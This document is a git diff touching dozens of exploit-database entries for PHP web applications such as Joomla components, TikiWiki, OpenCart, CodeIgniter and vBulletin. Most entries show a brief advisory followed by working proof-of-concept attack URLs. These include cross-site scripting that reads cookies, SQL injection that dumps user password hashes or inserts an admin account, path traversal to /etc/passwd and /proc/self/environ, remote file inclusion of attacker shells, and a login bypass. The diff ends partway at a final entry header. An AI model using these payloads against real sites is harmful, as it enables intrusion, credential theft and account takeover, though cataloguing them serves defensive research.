a/platforms/php/webapps/33649.txt +++ b/platforms/php/webapps/33649.txt @@ -4,4 +4,4 @@ BGSvetionik BGS CMS is prone to a cross-site scripting vulnerability because it An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/?action=search&search=[XSS] \ No newline at end of file +http://www.example.com/?action=search&search=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/3365.txt b/platforms/php/webapps/3365.txt index 01445a8d4..7e6d05b2a 100755 --- a/platforms/php/webapps/3365.txt +++ b/platforms/php/webapps/3365.txt @@ -16,7 +16,7 @@ ERROR: ************************************************************************************** RFI: -http://server/path/fcring.php?s_fuss=[SHELL] +http://SITE.com/path/fcring.php?s_fuss=[SHELL] ************************************************************************************** diff --git a/platforms/php/webapps/33652.txt b/platforms/php/webapps/33652.txt index f3e50422c..8bf6407a5 100755 --- a/platforms/php/webapps/33652.txt +++ b/platforms/php/webapps/33652.txt @@ -11,4 +11,4 @@ New-CMS 1.08 is vulnerable; other versions may also be affected. http://www.example.com/pdf.php?lng=cmd.php http://www.example.com/newcms/struttura/manager.php?lng=cmd.php -http://www.example.com/newcms/struttura/editor/quote.php?lng=cmd.php \ No newline at end of file +http://www.example.com/newcms/struttura/editor/quote.php?lng=cmd.php \ No newline at end of file diff --git a/platforms/php/webapps/33656.txt b/platforms/php/webapps/33656.txt index 698fc3d99..8940a7d86 100755 --- a/platforms/php/webapps/33656.txt +++ b/platforms/php/webapps/33656.txt @@ -8,4 +8,4 @@ SphereCMS 1.1 Alpha is vulnerable; other versions may also be affected. The following example URI is available: -http://www.example.com/archive.php?view=*** \ No newline at end of file +http://www.example.com/archive.php?view=*** \ No newline at end of file diff --git a/platforms/php/webapps/33658.txt b/platforms/php/webapps/33658.txt index 834390b20..b5cc0542e 100755 --- a/platforms/php/webapps/33658.txt +++ b/platforms/php/webapps/33658.txt @@ -8,4 +8,4 @@ Social Web CMS Beta 2 is vulnerable; other versions may also be affected. The following example URI is available: -http://www.example.com/index.php?category=%22%3E[XSS] \ No newline at end of file +http://www.example.com/index.php?category=%22%3E[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/33659.txt b/platforms/php/webapps/33659.txt index 58475d029..b5b773b0a 100755 --- a/platforms/php/webapps/33659.txt +++ b/platforms/php/webapps/33659.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, a http://www.example.com/index.php?option=com_recipe&view=recipe&layout=defaults&rec=73[EXPLOIT1] http://www.example.com/index.php?option=com_recipe&task=type&Itemid=16&type=4&category=2[EXPLOIT2] -http://www.example.com/index.php?option=com_recipe&task=view&Itemid=16&id=4[EXPLOIT3] \ No newline at end of file +http://www.example.com/index.php?option=com_recipe&task=view&Itemid=16&id=4[EXPLOIT3] \ No newline at end of file diff --git a/platforms/php/webapps/3366.txt b/platforms/php/webapps/3366.txt index 18b0ea700..4e89ed6dd 100755 --- a/platforms/php/webapps/3366.txt +++ b/platforms/php/webapps/3366.txt @@ -19,7 +19,7 @@ include($fuss);} <<< rfi coded ************************************************************************************** RFI: -http://server/path//sinagb.php?fuss=[SHELL] +http://SITE.com/path//sinagb.php?fuss=[SHELL] ************************************************************************************** diff --git a/platforms/php/webapps/33660.txt b/platforms/php/webapps/33660.txt index 68babdd69..23b1810f1 100755 --- a/platforms/php/webapps/33660.txt +++ b/platforms/php/webapps/33660.txt @@ -26,4 +26,4 @@ http://www.example.com/upload/memberlist.php?=>"'><ScRiPt>alert(213771818860)</S http://www.example.com/upload/member.php/>"><ScRiPt>alert(213771818860)</ScRiPt> http://www.example.com/upload/inlinemod.php?acuparam=>"><ScRiPt>alert(213771818860)</ScRiPt> http://www.example.com/upload/index.php/>"><ScRiPt>alert(213771818860)</ScRiPt> -http://www.example.com/upload/forumdisplay.php?acuparam=>"><ScRiPt>alert(213771818860)</ScRiPt> \ No newline at end of file +http://www.example.com/upload/forumdisplay.php?acuparam=>"><ScRiPt>alert(213771818860)</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/33665.txt b/platforms/php/webapps/33665.txt index 3681beb55..3b19c79ed 100755 --- a/platforms/php/webapps/33665.txt +++ b/platforms/php/webapps/33665.txt @@ -4,4 +4,4 @@ Softbiz Jobs is prone to a cross-site scripting vulnerability because it fails t An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -htpp://www.example.com/scripts/seojobs/admin/addad.php?sbad_type="><script>alert(123)</script> \ No newline at end of file +htpp://www.example.com/scripts/seojobs/admin/addad.php?sbad_type="><script>alert(123)</script> \ No newline at end of file diff --git a/platforms/php/webapps/3367.txt b/platforms/php/webapps/3367.txt index 8a3215cac..4a63f7ea1 100755 --- a/platforms/php/webapps/3367.txt +++ b/platforms/php/webapps/3367.txt @@ -16,6 +16,6 @@ if($fuss != ""){include($fuss);} <<< rfi coded ************************************************************************************** RFI: -http://server/path//sinapis.php?fuss=[SHELL] +http://SITE.com/path//sinapis.php?fuss=[SHELL] # milw0rm.com [2007-02-23] diff --git a/platforms/php/webapps/33671.txt b/platforms/php/webapps/33671.txt index 3f5c1577e..935cbbf93 100755 --- a/platforms/php/webapps/33671.txt +++ b/platforms/php/webapps/33671.txt @@ -12,4 +12,4 @@ http://www.example.com/memberlist.php/>'><ScRiPt>alert(213771818860)</ScRiPt> http://www.example.com/MySBB/new.php/>'><ScRiPt>alert(213771818860)</ScRiPt> http://www.example.com/MySBB/pm.php/>'><ScRiPt>alert(213771818860)</ScRiPt> http://www.example.com/MySBB/register.php/>'><ScRiPt>alert(213771818860)</ScRiPt> -http://www.example.com/MySBB/search.php/>'><ScRiPt>alert(213771818860)</ScRiPt> \ No newline at end of file +http://www.example.com/MySBB/search.php/>'><ScRiPt>alert(213771818860)</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/33674.txt b/platforms/php/webapps/33674.txt index 180a2826d..b906e1037 100755 --- a/platforms/php/webapps/33674.txt +++ b/platforms/php/webapps/33674.txt @@ -13,4 +13,4 @@ http://www.example.com/sources/javascript/loadScripts.php?scripts=[file]%00 The following example data is available: -javascript:document.cookie="installerFile=[FIle];path='/upload/admin/plugins' \ No newline at end of file +javascript:document.cookie="installerFile=[FIle];path='/upload/admin/plugins' \ No newline at end of file diff --git a/platforms/php/webapps/33676.txt b/platforms/php/webapps/33676.txt index 17f986f9c..f13ea371e 100755 --- a/platforms/php/webapps/33676.txt +++ b/platforms/php/webapps/33676.txt @@ -8,4 +8,4 @@ Versions prior to Newbie CMS 0.03 are vulnerable; other versions may also be aff Supplying the following cookie data is sufficient to exploit this issue: -javascript:document.cookie="nb_logged=jiko;path=/newbb/admin/"; \ No newline at end of file +javascript:document.cookie="nb_logged=jiko;path=/newbb/admin/"; \ No newline at end of file diff --git a/platforms/php/webapps/33679.txt b/platforms/php/webapps/33679.txt index e56e0c715..caa4f1461 100755 --- a/platforms/php/webapps/33679.txt +++ b/platforms/php/webapps/33679.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow TRUC 0.11.0 is vulnerable; other versions may also be affected. -http://www.example.com/truc/login_reset_password_page.php?failed=true&error="><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/truc/login_reset_password_page.php?failed=true&error="><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/33680.txt b/platforms/php/webapps/33680.txt index 0bbec8ee5..0b40ccbba 100755 --- a/platforms/php/webapps/33680.txt +++ b/platforms/php/webapps/33680.txt @@ -9,4 +9,4 @@ Open Educational System 0.1 beta and prior versions are vulnerable. http://www.example.com/[path]/admin/modules/modules/forum/admin.php?CONF_INCLUDE_PATH=attacker's site http://www.example.com/[path]/admin/modules/modules/plotgraph/index.php?CONF_INCLUDE_PATH=attacker's site http://www.example.com/[path]/admin/modules/user_account/admin_user/mod_admuser.php?CONF_INCLUDE_PATH=attacker's site -http://www.example.com/[path]/admin/modules/user_account/ogroup/mod_group.php?CONF_INCLUDE_PATH=attacker's site \ No newline at end of file +http://www.example.com/[path]/admin/modules/user_account/ogroup/mod_group.php?CONF_INCLUDE_PATH=attacker's site \ No newline at end of file diff --git a/platforms/php/webapps/33681.txt b/platforms/php/webapps/33681.txt index f56580192..b63bf7f16 100755 --- a/platforms/php/webapps/33681.txt +++ b/platforms/php/webapps/33681.txt @@ -10,4 +10,4 @@ The following example URIs are available: http://www.example.com/sd/setup.php?op=language&lang=1 -http://www.example.com/sd/install/index.php?op=language&lang=1 \ No newline at end of file +http://www.example.com/sd/install/index.php?op=language&lang=1 \ No newline at end of file diff --git a/platforms/php/webapps/33683.txt b/platforms/php/webapps/33683.txt index b28258073..ab490bd04 100755 --- a/platforms/php/webapps/33683.txt +++ b/platforms/php/webapps/33683.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor Article Friendly Pro is vulnerable; other versions may also be affected. -http://www.example.com/admin/index.php?filename=../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/admin/index.php?filename=../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/33684.txt b/platforms/php/webapps/33684.txt index e47bcd69d..dc12abdf9 100755 --- a/platforms/php/webapps/33684.txt +++ b/platforms/php/webapps/33684.txt @@ -9,4 +9,4 @@ Blax Blog 0.1 is vulnerable; other versions may also be affected. http://www.example.com/admin/girisyap.php Username: ' or '1=1 -password: ' or '1=1 \ No newline at end of file +password: ' or '1=1 \ No newline at end of file diff --git a/platforms/php/webapps/33690.txt b/platforms/php/webapps/33690.txt index 7e249bdc3..29c177fb1 100755 --- a/platforms/php/webapps/33690.txt +++ b/platforms/php/webapps/33690.txt @@ -7,4 +7,4 @@ Attackers can exploit this issue to upload arbitrary code and run it in the cont DosyaYukle Scripti 1.0 is vulnerable; other versions may also be affected. http://www.example.com/dosyayukle/ -http://www.example.com/dosyayukle/dosyalar/ch99.php \ No newline at end of file +http://www.example.com/dosyayukle/dosyalar/ch99.php \ No newline at end of file diff --git a/platforms/php/webapps/33716.txt b/platforms/php/webapps/33716.txt index d54c864cf..2085c9637 100755 --- a/platforms/php/webapps/33716.txt +++ b/platforms/php/webapps/33716.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor Saskia's Shopsystem beta1 is vulnerable; other versions may also be affected. -http://www.example.com/content.php?id=[LFI%00] \ No newline at end of file +http://www.example.com/content.php?id=[LFI%00] \ No newline at end of file diff --git a/platforms/php/webapps/33718.txt b/platforms/php/webapps/33718.txt index 4e939e104..b85f3d2fa 100755 --- a/platforms/php/webapps/33718.txt +++ b/platforms/php/webapps/33718.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor phpCOIN 1.2.1 is vulnerable; other versions may also be affected. -http://www.example.com/phpcoin/mod.php?mod=/../../../../../../proc/self/environ%00 \ No newline at end of file +http://www.example.com/phpcoin/mod.php?mod=/../../../../../../proc/self/environ%00 \ No newline at end of file diff --git a/platforms/php/webapps/33724.txt b/platforms/php/webapps/33724.txt index 2d657de16..7c9e834ca 100755 --- a/platforms/php/webapps/33724.txt +++ b/platforms/php/webapps/33724.txt @@ -8,4 +8,4 @@ OpenCart 1.3.2 is vulnerable; other versions may also be affected. http://www.example.com/index.php?route=product%2Fspecial&path=20&page=' http://www.example.com/index.php?route=product%2Fspecial&path=20&page=\' -http://www.example.com/index.php?route=product%2Fcategory&path=20&page=andres'" \ No newline at end of file +http://www.example.com/index.php?route=product%2Fcategory&path=20&page=andres'" \ No newline at end of file diff --git a/platforms/php/webapps/33726.txt b/platforms/php/webapps/33726.txt index 2dea0840e..7e3dcb087 100755 --- a/platforms/php/webapps/33726.txt +++ b/platforms/php/webapps/33726.txt @@ -11,4 +11,4 @@ Exploiting these issues could allow an attacker to compromise the application, a Versions prior to TikiWiki 4.2 are vulnerable. http://www.example.com/tiki-searchresults.php?highlight=misja&date=1 month)); INSERT INTO users_users(email,login,password,hash) VALUES ('','bad_guy','lsjfsofasgfs',md5('lsjfsofasgfslsjfsofasgfs'));;--&search=>> -http://www.example.com/tiki-searchresults.php?highlight=misja&date=1 month)); INSERT INTO users_usergroups (`userId`, `groupName`) VALUES([user_id],'Admins');;--&search=>> \ No newline at end of file +http://www.example.com/tiki-searchresults.php?highlight=misja&date=1 month)); INSERT INTO users_usergroups (`userId`, `groupName`) VALUES([user_id],'Admins');;--&search=>> \ No newline at end of file diff --git a/platforms/php/webapps/33727.txt b/platforms/php/webapps/33727.txt index ed6bfe2e9..aa14e9c49 100755 --- a/platforms/php/webapps/33727.txt +++ b/platforms/php/webapps/33727.txt @@ -9,4 +9,4 @@ wh-em.com upload 7.0 is vulnerable; other versions may also be affected. The following example data is available: javascript:document.cookie="whem_Name=adm_user;path=/"; -javascript:document.cookie="whem_Password=adm_user;path=/"; \ No newline at end of file +javascript:document.cookie="whem_Password=adm_user;path=/"; \ No newline at end of file diff --git a/platforms/php/webapps/3373.pl b/platforms/php/webapps/3373.pl index f51920f92..2a448e7d0 100755 --- a/platforms/php/webapps/3373.pl +++ b/platforms/php/webapps/3373.pl @@ -65,8 +65,8 @@ sub usage() { head(); print " Usage: exploit.pl [target] [cmd shell location] [cmd shell variable]\r\n\n"; - print " <Site> - Full path to RulesMod ex: http://www.server/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://www.different-server/cmd.txt \r\n"; + print " <Site> - Full path to RulesMod ex: http://www.site.com/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by bd0rk \r\n"; diff --git a/platforms/php/webapps/33734.txt b/platforms/php/webapps/33734.txt index 8fd9272ad..d0728d581 100755 --- a/platforms/php/webapps/33734.txt +++ b/platforms/php/webapps/33734.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow DDL CMS 2.1 is vulnerable; other versions may also be affected. -http://www.example.com/ddl/blacklist.php?site_name=[XSS] \ No newline at end of file +http://www.example.com/ddl/blacklist.php?site_name=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/33749.txt b/platforms/php/webapps/33749.txt index 5472b7979..e757d4361 100755 --- a/platforms/php/webapps/33749.txt +++ b/platforms/php/webapps/33749.txt @@ -10,4 +10,4 @@ http://www.example.com/rus/details/â??+benchmark(10000,md5(now()))+â??/ http://www.example.com/rus/referaty/1'+benchmark(10000,md5(now()))-â??1/ -http://www.example.com/rus/â??+benchmark(10000,md5(now()))+â??/ \ No newline at end of file +http://www.example.com/rus/â??+benchmark(10000,md5(now()))+â??/ \ No newline at end of file diff --git a/platforms/php/webapps/33751.txt b/platforms/php/webapps/33751.txt index 0ee840fae..686a68fcf 100755 --- a/platforms/php/webapps/33751.txt +++ b/platforms/php/webapps/33751.txt @@ -7,4 +7,4 @@ Exploiting these issues may allow an attacker to compromise the application and CodeIgniter 1.0 is vulnerable; other versions may also be affected. http://www.example.com/system/database/DB_active_rec.php?BASEPATH=[Shell.txt?] -http://www.example.com/system/database/DB_driver.php?BASEPATH=[Shell.txt?] \ No newline at end of file +http://www.example.com/system/database/DB_driver.php?BASEPATH=[Shell.txt?] \ No newline at end of file diff --git a/platforms/php/webapps/33753.txt b/platforms/php/webapps/33753.txt index 0f7876ef7..e71109f52 100755 --- a/platforms/php/webapps/33753.txt +++ b/platforms/php/webapps/33753.txt @@ -4,4 +4,4 @@ Easynet4u Forum Host is prone to an SQL-injection vulnerability because it fails A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/SCRIPT_PATH/topic.php?topic=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6/**/FROM/**/users/*&forum=0 \ No newline at end of file +http://www.example.com/SCRIPT_PATH/topic.php?topic=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6/**/FROM/**/users/*&forum=0 \ No newline at end of file diff --git a/platforms/php/webapps/33756.txt b/platforms/php/webapps/33756.txt index 07aecd56b..abf5958fd 100755 --- a/platforms/php/webapps/33756.txt +++ b/platforms/php/webapps/33756.txt @@ -4,4 +4,4 @@ The 'com_seek' component for Joomla! is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_seek&task=list1&id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- \ No newline at end of file +http://www.example.com/index.php?option=com_seek&task=list1&id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- \ No newline at end of file diff --git a/platforms/php/webapps/33757.txt b/platforms/php/webapps/33757.txt index 62ebd33e5..0d3ebe8b3 100755 --- a/platforms/php/webapps/33757.txt +++ b/platforms/php/webapps/33757.txt @@ -4,4 +4,4 @@ The Joomla! 'com_d-greinar' component is prone to a cross-site scripting vulnera An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/index.php?option=com_d-greinar&Itemid=11&do=allar&maintree="><script>alert(/DevilZ TM/)</script> \ No newline at end of file +http://www.example.com/index.php?option=com_d-greinar&Itemid=11&do=allar&maintree="><script>alert(/DevilZ TM/)</script> \ No newline at end of file diff --git a/platforms/php/webapps/33763.txt b/platforms/php/webapps/33763.txt index 53f59b81a..d0d1b2ae7 100755 --- a/platforms/php/webapps/33763.txt +++ b/platforms/php/webapps/33763.txt @@ -4,4 +4,4 @@ Domain Verkaus & Auktions Portal is prone to an SQL-injection vulnerability beca Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/portal/index.php?a=d&id=[SQLi] \ No newline at end of file +http://www.example.com/portal/index.php?a=d&id=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/33766.txt b/platforms/php/webapps/33766.txt index 6bccc39f7..0cad0a69c 100755 --- a/platforms/php/webapps/33766.txt +++ b/platforms/php/webapps/33766.txt @@ -4,4 +4,4 @@ The 'com_as' component for Joomla! is prone to an SQL-injection vulnerability be Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_as&as=100&catid=-20 UNION SELECT 1,2,3,concat(username,0x3a,password)...+from+jos_users-- \ No newline at end of file +http://www.example.com/index.php?option=com_as&as=100&catid=-20 UNION SELECT 1,2,3,concat(username,0x3a,password)...+from+jos_users-- \ No newline at end of file diff --git a/platforms/php/webapps/33769.txt b/platforms/php/webapps/33769.txt index 396198f67..df87b5652 100755 --- a/platforms/php/webapps/33769.txt +++ b/platforms/php/webapps/33769.txt @@ -7,4 +7,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor eFront 3.5.5 and prior are vulnerable. http://www.example.com/efront/www/editor/tiny_mce/langs/language.php?langname=a/../../../../../../boot.ini%00 -http://www.example.com/efront/www/editor/tiny_mce/langs/language.php?langname=../../../../upload/student/message_attachments/Sent/1266862529/malicious.php.inc%00 \ No newline at end of file +http://www.example.com/efront/www/editor/tiny_mce/langs/language.php?langname=../../../../upload/student/message_attachments/Sent/1266862529/malicious.php.inc%00 \ No newline at end of file diff --git a/platforms/php/webapps/33771.txt b/platforms/php/webapps/33771.txt index ff4a8f5dd..f23604f11 100755 --- a/platforms/php/webapps/33771.txt +++ b/platforms/php/webapps/33771.txt @@ -4,4 +4,4 @@ The 'com_alert' component for Joomla! is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/Joomla/index.php?option=com_alert&task=item&q_item=-1 union select 1, concat(username,0x3e,password),3,4,5,6,7,8,9,10,11,12,13+from+jos_users-- \ No newline at end of file +http://www.example.com/Joomla/index.php?option=com_alert&task=item&q_item=-1 union select 1, concat(username,0x3e,password),3,4,5,6,7,8,9,10,11,12,13+from+jos_users-- \ No newline at end of file diff --git a/platforms/php/webapps/33773.txt b/platforms/php/webapps/33773.txt index 36cb43b4f..0e740527b 100755 --- a/platforms/php/webapps/33773.txt +++ b/platforms/php/webapps/33773.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Shutter 0.1.4 is vulnerable; other versions may also be affected. http://www.example.com/shutter/admin.html?albumID=2%20and%20substring%28@@version,1,1%29=5 -http://www.example.com/shutter/admin.html?albumID=2&photoID=5%20and%20substring%28@@version,1,1%29=5 \ No newline at end of file +http://www.example.com/shutter/admin.html?albumID=2&photoID=5%20and%20substring%28@@version,1,1%29=5 \ No newline at end of file diff --git a/platforms/php/webapps/33777.txt b/platforms/php/webapps/33777.txt index 8efbf1536..f584d2840 100755 --- a/platforms/php/webapps/33777.txt +++ b/platforms/php/webapps/33777.txt @@ -15,4 +15,4 @@ http://www.example.com/profile.php?action=forumright"><script>alert(/Liscker/);< http://www.example.com/thread.php?skinco=black"><script>alert(/Liscker/);</script> http://www.example.com/message.php?action=scout"><script>alert(/Liscker/);</script> http://www.example.com/sort.php?skinco=black"><script>alert(/Liscker/);</script> -http://www.example.com/userpay.php?skinco=black"><script>alert(/Liscker/);</script> \ No newline at end of file +http://www.example.com/userpay.php?skinco=black"><script>alert(/Liscker/);</script> \ No newline at end of file diff --git a/platforms/php/webapps/33781.txt b/platforms/php/webapps/33781.txt index 8405ea887..e04a931a6 100755 --- a/platforms/php/webapps/33781.txt +++ b/platforms/php/webapps/33781.txt @@ -7,4 +7,4 @@ Exploiting these issues may allow an attacker to compromise the application and Vanilla 1.1.10 and prior versions are vulnerable. http://www.example.com/PATH/languages/yourlanguage/definitions.php?include= [inj3ct0r] -http://www.example.com/PATH/languages/yourlanguage/definitions.php?Configuration['LANGUAGE']= [inj3ct0r] \ No newline at end of file +http://www.example.com/PATH/languages/yourlanguage/definitions.php?Configuration['LANGUAGE']= [inj3ct0r] \ No newline at end of file diff --git a/platforms/php/webapps/33782.txt b/platforms/php/webapps/33782.txt index 40650299d..cef8adbea 100755 --- a/platforms/php/webapps/33782.txt +++ b/platforms/php/webapps/33782.txt @@ -4,4 +4,4 @@ PHPKIT 'b-day.php' addon is prone to an SQL-injection vulnerability because it f Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/include.php?path=b-day.php&ausgabe=11+uNIoN+sElECt+1,concat(user_name,0x3a,user_pw),3,4,5,6+from+phpkit_user+where+user_id=1-- \ No newline at end of file +http://www.example.com/include.php?path=b-day.php&ausgabe=11+uNIoN+sElECt+1,concat(user_name,0x3a,user_pw),3,4,5,6+from+phpkit_user+where+user_id=1-- \ No newline at end of file diff --git a/platforms/php/webapps/33784.txt b/platforms/php/webapps/33784.txt index a25487283..528eb0d6f 100755 --- a/platforms/php/webapps/33784.txt +++ b/platforms/php/webapps/33784.txt @@ -10,4 +10,4 @@ The following example URIs are available: http://www.example.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query="><script>alert('xss');</script> -http://www.example.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query="><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query="><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/33793.txt b/platforms/php/webapps/33793.txt index 7f0e12abf..c52b38cce 100755 --- a/platforms/php/webapps/33793.txt +++ b/platforms/php/webapps/33793.txt @@ -4,4 +4,4 @@ Kasseler CMS is prone to an SQL-injection vulnerability because it fails to suff Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?module=News&do=Category&id= [ SQL ] \ No newline at end of file +http://www.example.com/index.php?module=News&do=Category&id= [ SQL ] \ No newline at end of file diff --git a/platforms/php/webapps/33795.txt b/platforms/php/webapps/33795.txt index 458446351..089407145 100755 --- a/platforms/php/webapps/33795.txt +++ b/platforms/php/webapps/33795.txt @@ -5,4 +5,4 @@ The 'com_aml_2' component for Joomla! is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_aml_2&task=annonce&page=detail&rub=immobilier&art=75+and+1=0+union+select+1,2,3,4,concat%28username,0xa,password,email%29,6,7,8+from+jos_users-- \ No newline at end of file +http://www.example.com/index.php?option=com_aml_2&task=annonce&page=detail&rub=immobilier&art=75+and+1=0+union+select+1,2,3,4,concat%28username,0xa,password,email%29,6,7,8+from+jos_users-- \ No newline at end of file diff --git a/platforms/php/webapps/33796.txt b/platforms/php/webapps/33796.txt index 962b4469b..335b2301f 100755 --- a/platforms/php/webapps/33796.txt +++ b/platforms/php/webapps/33796.txt @@ -4,4 +4,4 @@ The 'com_cb' component for Joomla! is prone to an SQL-injection vulnerability be Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_cx&task=postview&postid=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41-- \ No newline at end of file +http://www.example.com/index.php?option=com_cx&task=postview&postid=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41-- \ No newline at end of file diff --git a/platforms/php/webapps/33797.txt b/platforms/php/webapps/33797.txt index c6fe16f90..2b2dc7766 100755 --- a/platforms/php/webapps/33797.txt +++ b/platforms/php/webapps/33797.txt @@ -4,4 +4,4 @@ The 'com_jresearch' component for Joomla! is prone to a local file-include vulne An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/index.php?option=com_jresearch&controller=../../../../../../../../../../proc/self/environ%00 \ No newline at end of file +http://www.example.com/index.php?option=com_jresearch&controller=../../../../../../../../../../proc/self/environ%00 \ No newline at end of file diff --git a/platforms/php/webapps/33809.txt b/platforms/php/webapps/33809.txt index 839a63705..2be23895f 100755 --- a/platforms/php/webapps/33809.txt +++ b/platforms/php/webapps/33809.txt @@ -1,4 +1,4 @@ -$$$$$$\ $$\ $$\ $$$$$$\ + $$$$$$\ $$\ $$\ $$$$$$\ $$ __$$\ $$ | $$ | $$ __$$\ $$ / \__| $$ | $$ | $$ / \__| $$ |$$$$\ $$$$$$$$ | \$$$$$$\ diff --git a/platforms/php/webapps/33812.txt b/platforms/php/webapps/33812.txt index 7adbf52eb..bf81df328 100755 --- a/platforms/php/webapps/33812.txt +++ b/platforms/php/webapps/33812.txt @@ -4,4 +4,4 @@ The 'com_weblinks' component for Joomla! is prone to an SQL-injection vulnerabil Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_weblinks&task=view&catid=8&id=-1 UNION SELECT 1,2,3,4,5 \ No newline at end of file +http://www.example.com/index.php?option=com_weblinks&task=view&catid=8&id=-1 UNION SELECT 1,2,3,4,5 \ No newline at end of file diff --git a/platforms/php/webapps/33813.html b/platforms/php/webapps/33813.html index a5e06b1d9..3a14e8aca 100755 --- a/platforms/php/webapps/33813.html +++ b/platforms/php/webapps/33813.html @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc CapCC 1.0 is affected; other versions may also be vulnerable. -<html> <head> <title>CapCC SQL Injection exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://site/wp-admin/plugins.php?page=capcc-config" method="post"> <input type="hidden" name="CAPCC_MAX_ATTEMPTS" value="5 and benchmark(10000000,benchmark(10000000,md5(now())))"> </form> </body> </html> \ No newline at end of file +<html> <head> <title>CapCC SQL Injection exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://site/wp-admin/plugins.php?page=capcc-config" method="post"> <input type="hidden" name="CAPCC_MAX_ATTEMPTS" value="5 and benchmark(10000000,benchmark(10000000,md5(now())))"> </form> </body> </html> \ No newline at end of file diff --git a/platforms/php/webapps/33814.txt b/platforms/php/webapps/33814.txt index 26cbf069b..176e1b3c3 100755 --- a/platforms/php/webapps/33814.txt +++ b/platforms/php/webapps/33814.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to Piwik 0.6 are vulnerable. -http://www.example.com/index.php?form_url=>"> \ No newline at end of file +http://www.example.com/index.php?form_url=>"> \ No newline at end of file diff --git a/platforms/php/webapps/33815.txt b/platforms/php/webapps/33815.txt index d87306ce5..b485d8bd6 100755 --- a/platforms/php/webapps/33815.txt +++ b/platforms/php/webapps/33815.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow OSSIM 2.2.1 is vulnerable; other versions may also be affected. http://www.example.com/ossim/control_panel/alarm_console.php/"><script>alert('xss')</script> -http://www.example.com/ossim/control_panel/alarm_console.php/')"%20onMouseOver="alert('xss');// \ No newline at end of file +http://www.example.com/ossim/control_panel/alarm_console.php/')"%20onMouseOver="alert('xss');// \ No newline at end of file diff --git a/platforms/php/webapps/3382.txt b/platforms/php/webapps/3382.txt 